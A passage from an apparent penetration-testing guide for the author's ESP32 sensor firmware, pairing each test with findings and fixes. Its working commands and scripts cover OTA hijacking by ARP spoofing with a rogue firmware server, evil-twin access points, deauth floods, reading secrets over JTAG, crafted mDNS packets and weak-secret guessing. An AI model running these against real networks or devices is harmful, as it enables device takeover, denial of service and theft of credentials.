read_flash 0 0x400000 /tmp/full_flash_dump.bin
|
|
|
|
# Extract individual partitions based on partition table:
|
|
# NVS: 0x9000 - 0xCFFF (16 KB)
|
|
# otadata: 0xD000 - 0xEFFF (8 KB)
|
|
# phy_init: 0xF000 - 0xFFFF (4 KB)
|
|
# ota_0: 0x10000 - 0x1EFFFF (1920 KB)
|
|
# ota_1: 0x1F0000- 0x3CFFFF (1920 KB)
|
|
|
|
dd if=/tmp/full_flash_dump.bin of=/tmp/nvs.bin bs=1 skip=$((0x9000)) count=$((0x4000))
|
|
dd if=/tmp/full_flash_dump.bin of=/tmp/ota0.bin bs=1 skip=$((0x10000)) count=$((0x1E0000))
|
|
dd if=/tmp/full_flash_dump.bin of=/tmp/ota1.bin bs=1 skip=$((0x1F0000)) count=$((0x1E0000))
|
|
|
|
# Check if flash encryption is active (encrypted flash has high entropy)
|
|
binwalk -E /tmp/ota0.bin
|
|
# Flat entropy ~0.5-0.7 = NOT encrypted
|
|
# Flat entropy ~1.0 = encrypted
|
|
|
|
# Write modified firmware back (no secure boot = no signature check)
|
|
# WARNING: This bricks the device if you write garbage
|
|
# esptool.py -p /dev/ttyUSB0 write_flash 0x10000 /tmp/modified_ota0.bin
|
|
```
|
|
|
|
---
|
|
|
|
### 5.3 JTAG Debug Access
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether JTAG is accessible; live memory inspection; breakpoints |
|
|
| **Tools** | OpenOCD + GDB, JTAG adapter (FT2232H or ESP-PROG, ~$15) |
|
|
| **Finding** | JTAG not disabled via eFuse; live debugging possible; memory readable at runtime |
|
|
| **Fix** | Burn JTAG disable eFuse: `espefuse.py burn_efuse JTAG_DISABLE` (irreversible) |
|
|
|
|
ESP32-WROOM-32 JTAG pins (directly on the ESP32 chip, not broken out on most DevKitC boards):
|
|
|
|
| JTAG Signal | GPIO |
|
|
|-------------|------|
|
|
| TDI | GPIO 12 |
|
|
| TCK | GPIO 13 |
|
|
| TMS | GPIO 14 |
|
|
| TDO | GPIO 15 |
|
|
|
|
```bash
|
|
# Install OpenOCD for ESP32
|
|
sudo apt install -y openocd
|
|
|
|
# If using an FT2232H adapter:
|
|
# Connect JTAG pins to the adapter, then:
|
|
openocd -f interface/ftdi/esp32_devkitj_v1.cfg -f target/esp32.cfg
|
|
|
|
# In another terminal, connect GDB:
|
|
# (requires xtensa-esp32-elf-gdb from ESP-IDF toolchain)
|
|
xtensa-esp32-elf-gdb /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf
|
|
# (gdb) target remote :3333
|
|
# (gdb) monitor reset halt
|
|
# (gdb) print s_auth_secret # Read HMAC secret from live memory
|
|
# (gdb) print s_target_ip # Read target IP
|
|
# (gdb) x/32bx &s_auth_secret # Hex dump of secret in memory
|
|
```
|
|
|
|
Note: Most ESP32-DevKitC boards do NOT break out JTAG pins, so this requires
|
|
soldering wires to GPIO 12-15. On DevKitC V4 or ESP-PROG, JTAG is on a header.
|
|
|
|
---
|
|
|
|
### 5.4 eFuse Analysis
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Secure boot status, flash encryption status, JTAG disable status |
|
|
| **Tools** | `espefuse.py` (part of esptool) |
|
|
| **Finding** | All security eFuses unburned = no hardware protections |
|
|
| **Fix** | Burn appropriate eFuses for production (irreversible!) |
|
|
|
|
```bash
|
|
# Read all eFuse values (non-destructive, read-only)
|
|
espefuse.py -p /dev/ttyUSB0 summary
|
|
|
|
# Check specific security-relevant eFuses:
|
|
espefuse.py -p /dev/ttyUSB0 get_custom_mac # Check if custom MAC set
|
|
espefuse.py -p /dev/ttyUSB0 summary 2>&1 | grep -iE 'JTAG|SECURE_BOOT|FLASH_ENCRYPT|ABS_DONE'
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
```
|
|
JTAG_DISABLE (EFUSE_BLK0) = False <- JTAG accessible
|
|
ABS_DONE_0 (EFUSE_BLK0) = False <- Secure boot NOT enabled
|
|
FLASH_CRYPT_CNT (EFUSE_BLK0) = 0 <- Flash encryption NOT enabled
|
|
```
|
|
|
|
---
|
|
|
|
## 6. OTA Attack Surface
|
|
|
|
### 6.1 MITM OTA with Rogue HTTP Server
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether a MITM attacker can serve malicious firmware during OTA |
|
|
| **Tools** | Python HTTP server, ARP spoofing (`arpspoof`/`ettercap`), `mitmproxy` |
|
|
| **Finding** | OTA accepts any HTTP server; no TLS cert validation; no firmware signatures |
|
|
| **Fix** | Disable `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP`; add cert pinning; enable secure boot |
|
|
|
|
```bash
|
|
# Step 1: Build a "canary" firmware that proves code execution
|
|
# (Modify a non-critical string in the firmware, rebuild, and use as the payload)
|
|
# Or use a known-good older version to test version rollback
|
|
|
|
# Step 2: Serve it via HTTP
|
|
cd /home/user/git/esp32-hacking/get-started/csi_recv_router/build/
|
|
python3 -m http.server 8899
|
|
|
|
# Step 3: Trigger OTA (requires auth if enabled)
|
|
# If auth is enabled, compute HMAC first using esp-ctl's auth module:
|
|
python3 -c "
|
|
from esp_ctl.auth import sign_command
|
|
import sys
|
|
cmd = 'OTA http://192.168.129.1:8899/csi_recv_router.bin'
|
|
# You need the device uptime -- get it from STATUS first
|
|
print(sign_command(cmd, uptime_s=1234, secret='YOUR_SECRET'))
|
|
" | ncat -u -w5 192.168.129.29 5501
|
|
|
|
# Step 4: If auth is disabled, no HMAC needed:
|
|
echo "OTA http://192.168.129.1:8899/csi_recv_router.bin" | \
|
|
ncat -u -w5 192.168.129.29 5501
|
|
```
|
|
|
|
### 6.2 ARP-Based MITM for OTA Hijacking
|
|
|
|
```bash
|
|
# Requires: dsniff package (contains arpspoof)
|
|
sudo apt install -y dsniff
|
|
|
|
# Step 1: Enable IP forwarding
|
|
sudo sysctl -w net.ipv4.ip_forward=1
|
|
|
|
# Step 2: ARP poison -- pretend to be the gateway for the ESP32
|
|
# Gateway: 192.168.129.1, Target: 192.168.129.29
|
|
sudo arpspoof -i eth0 -t 192.168.129.29 192.168.129.1 &
|
|
sudo arpspoof -i eth0 -t 192.168.129.1 192.168.129.29 &
|
|
|
|
# Step 3: Use iptables to redirect HTTP traffic to local server
|
|
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \
|
|
-j REDIRECT --to-port 8899
|
|
|
|
# Step 4: Serve malicious firmware on port 8899
|
|
cd /tmp && python3 -m http.server 8899
|
|
|
|
# Step 5: When OTA is triggered (by legitimate admin or attacker),
|
|
# the ESP32's HTTP request is redirected to the rogue server.
|
|
# Since CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y, the firmware accepts it.
|
|
|
|
# Cleanup:
|
|
sudo killall arpspoof
|
|
sudo iptables -t nat -F
|
|
sudo sysctl -w net.ipv4.ip_forward=0
|
|
```
|
|
|
|
---
|
|
|
|
### 6.3 Firmware Rollback Attack
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether older, vulnerable firmware versions can be flashed via OTA |
|
|
| **Tools** | `esptool.py`, HTTP server |
|
|
| **Finding** | No anti-rollback enforcement; any valid ESP32 image is accepted |
|
|
| **Fix** | `CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y` with eFuse version counter |
|
|
|
|
```bash
|
|
# Serve an older firmware version (e.g., v1.9 without auth hardening)
|
|
# Assuming you have the older binary saved:
|
|
python3 -m http.server 8899 --directory /path/to/old/builds/
|
|
|
|
# Trigger OTA with old binary
|
|
echo "OTA http://192.168.129.1:8899/old-v1.9-firmware.bin" | \
|
|
ncat -u -w5 192.168.129.29 5501
|
|
|
|
# After reboot, the device runs the old, less-secure firmware.
|
|
# Verify:
|
|
echo "STATUS" | ncat -u -w1 192.168.129.29 5501
|
|
# Check the version= field in the response
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
STATUS response shows older firmware version running = rollback succeeded.
|
|
|
|
---
|
|
|
|
## 7. Side-Channel Attacks
|
|
|
|
### 7.1 Timing Oracle on Authentication
|
|
|
|
Already covered in section 3.1. The firmware implements constant-time comparison
|
|
(volatile XOR accumulation), so this is a validation test rather than an expected finding.
|
|
|
|
### 7.2 Timing Oracle on Command Routing
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether response timing varies based on command validity (information leak) |
|
|
| **Tools** | Python timing script |
|
|
| **Finding** | Different commands take measurably different time = reveals which commands exist |
|
|
| **Fix** | Normalize response time with a minimum delay |
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""cmd_timing.py -- Measure response times for various commands."""
|
|
|
|
import socket
|
|
import time
|
|
import statistics
|
|
|
|
TARGET = "192.168.129.29"
|
|
PORT = 5501
|
|
|
|
COMMANDS = [
|
|
b"STATUS", # Valid, complex response
|
|
b"PING", # Valid, simple response
|
|
b"NONEXISTENT", # Invalid command
|
|
b"", # Empty
|
|
b"A" * 191, # Max-length garbage
|
|
b"OTA", # Valid but missing arg (should fail)
|
|
b"REBOOT", # Valid but requires auth
|
|
]
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.settimeout(2.0)
|
|
|
|
for cmd in COMMANDS:
|
|
times = []
|
|
for _ in range(50):
|
|
start = time.perf_counter_ns()
|
|
sock.sendto(cmd, (TARGET, PORT))
|
|
try:
|
|
sock.recvfrom(1500)
|
|
except socket.timeout:
|
|
continue
|
|
elapsed = (time.perf_counter_ns() - start) / 1000
|
|
times.append(elapsed)
|
|
time.sleep(0.06)
|
|
|
|
if times:
|
|
label = cmd[:30].decode(errors="replace")
|
|
print(f"{label:32s} n={len(times):3d} "
|
|
f"mean={statistics.mean(times):8.0f}us "
|
|
f"stdev={statistics.stdev(times):7.0f}us")
|
|
|
|
sock.close()
|
|
```
|
|
|
|
---
|
|
|
|
### 7.3 Uptime-Based Timestamp Prediction
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether device uptime is predictable enough to pre-compute valid HMAC timestamps |
|
|
| **Tools** | `ncat`, timing measurement |
|
|
| **Finding** | Uptime is in STATUS response (no auth needed); attacker can sync timestamp trivially |
|
|
| **Fix** | Require auth for STATUS (or at least the uptime field) |
|
|
|
|
```bash
|
|
# Get precise uptime from unauthenticated STATUS
|
|
echo "STATUS" | ncat -u -w1 192.168.129.29 5501
|
|
|
|
# The response includes "uptime=12345s"
|
|
# Attacker now knows exact device uptime, can pre-compute HMAC timestamps.
|
|
# Combined with a captured or brute-forced secret, this enables authenticated attacks.
|
|
```
|
|
|
|
---
|
|
|
|
## 8. Dependency and CVE Analysis
|
|
|
|
### 8.1 ESP-IDF Version CVE Check
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Known vulnerabilities in ESP-IDF v5.5.2 and bundled components |
|
|
| **Tools** | Espressif security advisories, CVE databases |
|
|
| **Finding** | Specific ESP-IDF CVEs that affect this version |
|
|
| **Fix** | Update ESP-IDF; apply patches; enable mitigations |
|
|
|
|
```bash
|
|
# Check ESP-IDF version from firmware
|
|
strings /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin \
|
|
| grep -i 'v5\.' | head -5
|
|
|
|
# Check Espressif security advisories
|
|
# https://www.espressif.com/en/security/advisories
|
|
|
|
# Key CVEs to check for ESP-IDF <= 5.5.x:
|
|
# CVE-2024-45479: ESP-IDF BLE stack buffer overflow (NimBLE)
|
|
# CVE-2023-28631: WiFi PMF bypass
|
|
# CVE-2023-35831: Secure boot bypass on ESP32 V1
|
|
# CVE-2024-23723: mDNS parsing vulnerabilities
|
|
|
|
# Check component versions from build
|
|
cat /home/user/git/esp32-hacking/get-started/csi_recv_router/build/project_description.json \
|
|
2>/dev/null | python3 -m json.tool | grep -i version
|
|
|
|
# Check managed component versions
|
|
cat /home/user/git/esp32-hacking/get-started/csi_recv_router/dependencies.lock \
|
|
2>/dev/null
|
|
```
|
|
|
|
### 8.2 mDNS Component Vulnerabilities
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | mDNS parsing bugs, DNS rebinding, response injection |
|
|
| **Tools** | Crafted mDNS packets via `scapy` |
|
|
| **Finding** | mDNS library may be vulnerable to crafted responses |
|
|
| **Fix** | Update espressif/mdns component; restrict mDNS to query-only if advertisement not needed |
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""mdns_probe.py -- Send crafted mDNS queries/responses to test parser robustness."""
|
|
|
|
from scapy.all import *
|
|
|
|
TARGET = "192.168.129.29"
|
|
|
|
# Craft an oversized mDNS response with many answers
|
|
dns_response = DNS(
|
|
id=0x0000,
|
|
qr=1,
|
|
opcode=0,
|
|
aa=1,
|
|
rd=0,
|
|
qd=None,
|
|
an=DNSRR(rrname="_esp-csi._udp.local.", type="PTR", ttl=4500,
|
|
rdata="evil-sensor._esp-csi._udp.local.") /
|
|
DNSRR(rrname="evil-sensor._esp-csi._udp.local.", type="SRV", ttl=4500,
|
|
rdata=b'\x00\x00\x00\x00\x15\xb3' + b'\x07' + b'A' * 200 + b'\x05local\x00') /
|
|
DNSRR(rrname="A" * 255 + ".local.", type="A", ttl=4500, rdata="1.2.3.4"),
|
|
)
|
|
|
|
# Send as multicast mDNS (224.0.0.251:5353)
|
|
pkt = IP(dst="224.0.0.251") / UDP(sport=5353, dport=5353) / dns_response
|
|
send(pkt, verbose=True)
|
|
print("Sent crafted mDNS response -- check if device is still responsive")
|
|
|
|
# Verify device health
|
|
import socket, time
|
|
time.sleep(1)
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
s.settimeout(2)
|
|
s.sendto(b"PING", (TARGET, 5501))
|
|
try:
|
|
resp = s.recvfrom(1500)
|
|
print(f"Device alive: {resp[0]}")
|
|
except:
|
|
print("[!] Device not responding after mDNS injection!")
|
|
s.close()
|
|
```
|
|
|
|
---
|
|
|
|
### 8.3 NimBLE Stack Analysis
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | BLE stack vulnerabilities; advertisement parsing bugs |
|
|
| **Tools** | `bleak` (Python BLE library), second ESP32 as BLE beacon |
|
|
| **Finding** | Crafted BLE advertisements could trigger parsing bugs in NimBLE |
|
|
| **Fix** | Update ESP-IDF; validate all BLE advertisement fields before parsing |
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""ble_scan_target.py -- Check what the ESP32's BLE scan exposes."""
|
|
|
|
import asyncio
|
|
from bleak import BleakScanner
|
|
|
|
async def scan():
|
|
"""Scan for ESP32 devices' BLE presence."""
|
|
devices = await BleakScanner.discover(timeout=10.0)
|
|
for d in devices:
|
|
# ESP32 in scan-only mode shouldn't be advertising
|
|
# If it IS advertising, that's a finding
|
|
print(f" {d.address} RSSI={d.rssi} Name={d.name}")
|
|
if d.name and "esp" in d.name.lower():
|
|
print(f" [!] ESP32 device advertising: {d.name}")
|
|
|
|
asyncio.run(scan())
|
|
```
|
|
|
|
The firmware uses BLE in **passive scan mode only** (no advertising), so the ESP32
|
|
should NOT appear in BLE scans. If it does, that indicates a misconfiguration.
|
|
|
|
To test BLE advertisement parsing robustness, use a second ESP32 programmed to
|
|
send crafted advertisements with oversized fields, malformed company IDs, etc.
|
|
|
|
---
|
|
|
|
## 9. Wireless Attacks
|
|
|
|
### 9.1 WiFi Adapter Requirements
|
|
|
|
For WiFi attacks (sections 9.2-9.5), you need a USB WiFi adapter that supports
|
|
**monitor mode** and **packet injection**. The Raspberry Pi 5's built-in WiFi
|
|
does NOT support monitor mode.
|
|
|
|
Recommended adapters (all work on RPi5):
|
|
- **Alfa AWUS036ACH** (RTL8812AU) -- 2.4/5 GHz, excellent injection
|
|
- **Alfa AWUS036ACHM** (MediaTek MT7612U) -- reliable, good range
|
|
- **TP-Link TL-WN722N v1** (AR9271) -- 2.4 GHz only, cheap, proven
|
|
|
|
```bash
|
|
# Check if adapter supports monitor mode
|
|
sudo iw list | grep -A 10 "Supported interface modes"
|
|
# Should include "monitor"
|
|
|
|
# Enable monitor mode
|
|
sudo ip link set wlan1 down
|
|
sudo iw dev wlan1 set type monitor
|
|
sudo ip link set wlan1 up
|
|
|
|
# Or using airmon-ng
|
|
sudo airmon-ng start wlan1
|
|
```
|
|
|
|
---
|
|
|
|
### 9.2 Deauthentication Flood
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | PMF effectiveness; deauth flood detection; sensor resilience |
|
|
| **Tools** | `aireplay-ng`, `mdk4` |
|
|
| **Finding** | Device disconnects and fails to collect CSI during attack = DoS confirmed |
|
|
| **Fix** | PMF already enabled (`CONFIG_ESP_WIFI_PMF_REQUIRED=y`); verify router also enforces PMF |
|
|
|
|
The firmware has `CONFIG_ESP_WIFI_PMF_REQUIRED=y`, which should prevent deauth
|
|
attacks IF the router also supports PMF. This test verifies end-to-end protection.
|
|
|
|
```bash
|
|
# Step 1: Find the target network and channel
|
|
sudo airodump-ng wlan1mon
|
|
|
|
# Step 2: Targeted deauth against one sensor
|
|
# BSSID = router MAC, STATION = ESP32 MAC
|
|
sudo aireplay-ng -0 100 -a <ROUTER_BSSID> -c <ESP32_MAC> wlan1mon
|
|
|
|
# Step 3: Broader deauth flood
|
|
sudo mdk4 wlan1mon d -c <channel>
|
|
|
|
# Step 4: Monitor sensor's deauth flood detection
|
|
# (The firmware detects deauths in promiscuous mode and emits ALERT_DATA)
|
|
sudo tcpdump -i eth0 -A 'udp port 5500' | grep ALERT_DATA
|
|
|
|
# Step 5: Check if sensor stays connected
|
|
echo "STATUS" | ncat -u -w2 192.168.129.29 5501
|
|
# If no response, the deauth attack succeeded in disconnecting the sensor
|
|
```
|
|
|
|
**What a finding looks like:**
|
|
- Sensor goes offline during deauth flood = PMF not enforced by router
|
|
- `ALERT_DATA` messages appear = detection works but connection still drops
|
|
- Sensor stays connected = PMF is properly enforced end-to-end
|
|
|
|
---
|
|
|
|
### 9.3 Evil Twin / Rogue AP
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | Whether the ESP32 will connect to a rogue AP with the same SSID |
|
|
| **Tools** | `hostapd`, `dnsmasq` |
|
|
| **Finding** | ESP32 connects to rogue AP = WiFi credential theft + MITM |
|
|
| **Fix** | WPA3-SAE (immune to evil twin); BSSID pinning in firmware |
|
|
|
|
```bash
|
|
# Step 1: Create hostapd config for rogue AP
|
|
cat > /tmp/hostapd-evil.conf << 'EOF'
|
|
interface=wlan1
|
|
driver=nl80211
|
|
ssid=TARGET_SSID_HERE
|
|
hw_mode=g
|
|
channel=6
|
|
wpa=2
|
|
wpa_passphrase=TARGET_PSK_HERE
|
|
wpa_key_mgmt=WPA-PSK
|
|
rsn_pairwise=CCMP
|
|
EOF
|
|
|
|
# Step 2: Set up DHCP for captured clients
|
|
cat > /tmp/dnsmasq-evil.conf << 'EOF'
|
|
interface=wlan1
|
|
dhcp-range=192.168.100.10,192.168.100.50,12h
|
|
dhcp-option=3,192.168.100.1
|
|
dhcp-option=6,192.168.100.1
|
|
EOF
|
|
|
|
# Step 3: Configure interface
|
|
sudo ip addr add 192.168.100.1/24 dev wlan1
|
|
|
|
# Step 4: Start evil twin
|
|
sudo hostapd /tmp/hostapd-evil.conf &
|
|
sudo dnsmasq -C /tmp/dnsmasq-evil.conf &
|
|
|
|
# Step 5: Deauth the ESP32 from the real AP to force reconnection
|
|
sudo aireplay-ng -0 10 -a <REAL_AP_BSSID> -c <ESP32_MAC> wlan1mon
|
|
|
|
# Step 6: Wait for ESP32 to connect to evil twin
|
|
# Monitor hostapd output for association
|
|
# If ESP32 connects, you now have MITM position
|
|
|
|
# Cleanup:
|
|
sudo killall hostapd dnsmasq
|
|
```
|
|
|
|
The firmware uses `CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y`, which means it will
|
|
attempt WPA3-SAE first and fall back to WPA2-PSK. The evil twin test must use the
|
|
correct PSK. With WPA3, the evil twin attack is significantly harder because SAE
|
|
prevents offline dictionary attacks and the attacker would need the actual PSK.
|
|
|
|
---
|
|
|
|
### 9.4 Probe Request Harvesting
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | What the ESP32 reveals in its own probe requests when scanning |
|
|
| **Tools** | `airodump-ng`, `tcpdump` in monitor mode |
|
|
| **Finding** | ESP32 probe requests may reveal the target SSID |
|
|
| **Fix** | Use directed scans only; minimize probing |
|
|
|
|
```bash
|
|
# Capture probe requests from ESP32 devices
|
|
sudo airodump-ng wlan1mon --output-format csv -w /tmp/probes
|
|
|
|
# Or with tcpdump:
|
|
sudo tcpdump -i wlan1mon -e 'type mgt subtype probe-req' -nn
|
|
|
|
# Look for the ESP32's MAC address in probe requests
|
|
# ESP32-WROOM-32 OUI: varies by chip, check with:
|
|
echo "STATUS" | ncat -u -w1 192.168.129.29 5501 | grep -i mac
|
|
```
|
|
|
|
---
|
|
|
|
### 9.5 BLE Attacks
|
|
|
|
| Field | Value |
|
|
|-------|-------|
|
|
| **Tests** | BLE advertisement spoofing to inject fake data into the sensor's BLE scanner |
|
|
| **Tools** | Second ESP32, `hcitool`, `bluetoothctl`, `bleak` |
|
|
| **Finding** | Fake BLE advertisements accepted as legitimate device sightings |
|
|
| **Fix** | Validate BLE data at the collector level; add anomaly detection |
|
|
|
|
The firmware runs BLE in **passive scan mode only** -- it receives advertisements
|
|
but does not advertise or accept connections. The attack surface is limited to
|
|
injecting fake advertisement data that gets reported to the collector.
|
|
|
|
```bash
|
|
# Using the Pi's built-in Bluetooth to send crafted advertisements:
|
|
# (Requires BlueZ tools)
|
|
|
|
# Set up advertising with a specific company ID to test fingerprinting
|
|
sudo hciconfig hci0 up
|
|
sudo hcitool -i hci0 cmd 0x08 0x0008 \
|
|
1E 02 01 06 03 03 AA FE 17 16 AA FE 10 00 02 \
|
|
77 65 62 00 01 02 03 04 05 06 07 08 09 0A 0B
|
|
|
|
# Better: use a second ESP32 programmed as a BLE beacon with specific data
|
|
# to test the firmware's BLE advertisement parser for:
|
|
# - Oversized advertisement data (>31 bytes in extended advertising)
|
|
# - Malformed company_id fields
|
|
# - Extremely long device names
|
|
# - Invalid BLE flags
|
|
```
|
|
|
|
For BLE fuzzing with a second ESP32:
|
|
|
|
```c
|
|
/* ble_fuzz_beacon.c -- Minimal ESP32 program to send crafted BLE ads */
|
|
/* Flash to a second ESP32 and place near the target sensor */
|
|
|
|
#include "esp_bt.h"
|
|
#include "esp_gap_ble_api.h"
|
|
|
|
/* Oversized manufacturer data to test parser bounds */
|
|
static uint8_t adv_data[] = {
|
|
0x02, 0x01, 0x06, /* Flags */
|
|
0xFF, /* Length (255 -- oversized!) */
|
|
0xFF, 0x4C, 0x00, /* Apple company ID */
|
|
/* ... fill with 250 bytes of garbage */
|
|
};
|
|
|
|
/* Set this as raw advertising data via esp_ble_gap_config_adv_data_raw() */
|
|
```
|
|
|
|
---
|
|
|
|
## 10. Automated Test Scripts
|
|
|
|
### 10.1 Complete Pentest Runner
|
|
|
|
```bash
|
|
#!/usr/bin/env bash
|
|
# esp32-pentest.sh -- Automated pentest suite for ESP32 CSI sensors
|
|
# Usage: ./esp32-pentest.sh <sensor-ip> [secret]
|
|
|
|
set -euo pipefail
|
|
|
|
TARGET="${1:?Usage: $0 <sensor-ip> [secret]}"
|
|
SECRET="${2:-}"
|
|
PORT=5501
|
|
RESULTS="/tmp/esp32-pentest-$(date +%Y%m%d-%H%M%S).log"
|
|
|
|
log() { printf "[%s] %s\n" "$(date +%H:%M:%S)" "$*" | tee -a "$RESULTS"; }
|
|
|
|
log "=== ESP32 Pentest: $TARGET ==="
|
|
|
|
# Test 1: Unauthenticated information disclosure
|
|
log "--- Test 1: Information Disclosure ---"
|
|
for cmd in STATUS CONFIG PROFILE HELP PING; do
|
|
resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true)
|
|
if [ -n "$resp" ]; then
|
|
log " $cmd: $(echo "$resp" | head -c 120)"
|
|
else
|
|
log " $cmd: <no response>"
|
|
fi
|
|
done
|
|
|
|
# Test 2: Unauthenticated state modification
|
|
log "--- Test 2: Unauth State Modification ---"
|
|
for cmd in "CSI OFF" "PRESENCE OFF" "LOG NONE" "RATE 10" "ALERT OFF"; do
|
|
resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true)
|
|
if echo "$resp" | grep -q "^OK"; then
|
|
log " [VULN] $cmd accepted without auth: $resp"
|
|
elif echo "$resp" | grep -q "ERR AUTH"; then
|
|
log " [SAFE] $cmd requires auth"
|
|
else
|
|
log " [????] $cmd response: $resp"
|
|
fi
|
|
done
|
|
|
|
# Restore settings
|
|
echo "CSI ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
|
|
echo "PRESENCE ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
|
|
echo "LOG INFO" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
|
|
|
|
# Test 3: Input validation
|
|
log "--- Test 3: Input Validation ---"
|
|
for payload in \
|
|
"RATE -1" "RATE 999999" "RATE 0" \
|
|
"POWER -1" "POWER 100" \
|
|
"HOSTNAME $(python3 -c 'print("A"*100)')" \
|
|
"HOSTNAME %x%x%n" \
|
|
"" \
|
|
"$(python3 -c 'print("X"*191)')"; do
|
|
resp=$(echo "$payload" | ncat -u -w1 "$TARGET" "$PORT" 2>/dev/null || true)
|
|
log " Input: $(echo "$payload" | head -c 40)... -> $(echo "$resp" | head -c 80)"
|
|
done
|
|
|
|
# Test 4: mDNS enumeration
|
|
log "--- Test 4: mDNS Discovery ---"
|
|
mdns_result=$(avahi-browse -art 2>/dev/null | grep -A2 '_esp-csi' || echo "<none>")
|
|
log " mDNS: $mdns_result"
|
|
|
|
# Test 5: Port scan
|
|
log "--- Test 5: Port Scan ---"
|
|
nmap_result=$(nmap -sU -p 5500,5501,5353 --open "$TARGET" 2>/dev/null | grep "open" || true)
|
|
log " Open ports: $nmap_result"
|
|
|
|
log "=== Results saved to $RESULTS ==="
|
|
```
|
|
|
|
### 10.2 HMAC Brute-Force Test (Secret Entropy Validation)
|
|
|
|
```python
|
|
#!/usr/bin/env python3
|
|
"""hmac_bruteforce.py -- Test whether auth secret has sufficient entropy.
|
|
|
|
This is NOT a practical brute-force attack (128-bit secret has 2^128 keyspace).
|
|
It tests edge cases: short secrets, predictable secrets, known-weak patterns.
|
|
"""
|
|
|
|
import hashlib
|
|
import hmac
|
|
import socket
|
|
import sys
|
|
|
|
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29"
|
|
PORT = 5501
|
|
|
|
# Get device uptime for valid timestamp
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.settimeout(2.0)
|
|
sock.sendto(b"STATUS", (TARGET, PORT))
|
|
resp = sock.recvfrom(1500)[0].decode()
|
|
uptime = 0
|
|
for field in resp.split():
|
|
if field.startswith("uptime="):
|
|
uptime = int(field.split("=")[1].rstrip("s"))
|
|
|
|
print(f"Device uptime: {uptime}s")
|
|
|
|
# Test common/weak secrets
|
|
WEAK_SECRETS = [
|
|
"", # Empty (auth disabled)
|
|
"secret", # Common default
|
|
"password", # Common default
|
|
"admin", # Common default
|
|
"12345678", # Numeric
|
|
"0" * 32, # All zeros
|
|
"f" * 32, # All f's
|
|
"deadbeefdeadbeefdeadbeefdeadbeef", # Classic test pattern
|
|
"test", # Development leftover
|
|
]
|
|
|
|
print(f"\nTesting {len(WEAK_SECRETS)} weak secrets...")
|
|
for secret in WEAK_SECRETS:
|
|
payload = f"{uptime}:STATUS"
|
|
digest = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).hexdigest()
|
|
cmd = f"HMAC:{digest[:32]}:{payload}".encode()
|
|
sock.sendto(cmd, (TARGET, PORT))
|
|
try:
|
|
resp = sock.recvfrom(1500)[0].decode()
|
|
if "ERR AUTH" not in resp:
|
|
print(f" [!] SECRET FOUND: '{secret}' -> {resp[:60]}")
|
|
break
|
|
# else: expected failure
|
|
except socket.timeout:
|
|
pass
|
|
import time; time.sleep(0.06)
|
|
|
|
else:
|
|
print(" [+] No weak secrets found (good)")
|
|
|
|
sock.close()
|
|
```
|
|
|
|
---
|
|
|
|
## Summary: Attack Priority Matrix
|
|
|
|
| Priority | Attack | Difficulty | Impact | Tools Needed |
|
|
|----------|--------|-----------|--------|-------------|
|
|
| P0 | Unauth command abuse (3.3) | Trivial | High -- blind sensors | `ncat` |
|
|
| P0 | OTA MITM (6.1) | Easy | Critical -- RCE | HTTP server, ARP spoof |
|
|
| P1 | Flash dump (5.2) | Easy (physical) | Critical -- all secrets | USB cable, `esptool.py` |
|
|
| P1 | NVS extraction (4.3) | Easy (physical) | High -- auth secret | USB cable, `esptool.py` |
|
|
| P1 | UART capture (5.1) | Easy (physical) | High -- auth secret prefix | Serial adapter |
|
|
| P1 | Data injection (3.5) | Easy | Medium -- fake data | Python socket |
|
|
| P2 | Nonce cache overflow (3.2) | Medium | Medium -- replay auth cmds | Python HMAC |
|
|
| P2 | Deauth flood (9.2) | Medium | Medium -- DoS | Monitor-mode adapter |
|
|
| P2 | Evil twin (9.3) | Hard | High -- MITM | Monitor-mode adapter |
|
|
| P2 | mDNS recon (2.1) | Trivial | Low -- info disclosure | `avahi-browse` |
|
|
| P3 | UDP fuzzing (2.4) | Easy | Varies -- crash = high | Python |
|
|
| P3 | BLE injection (9.5) | Medium | Low -- fake data | Second ESP32 |
|
|
| P3 | JTAG access (5.3) | Hard (soldering) | Critical -- full debug | JTAG adapter |
|
|
| P3 | Timing oracle (3.1) | Hard | Low -- already mitigated | Python |
|
|
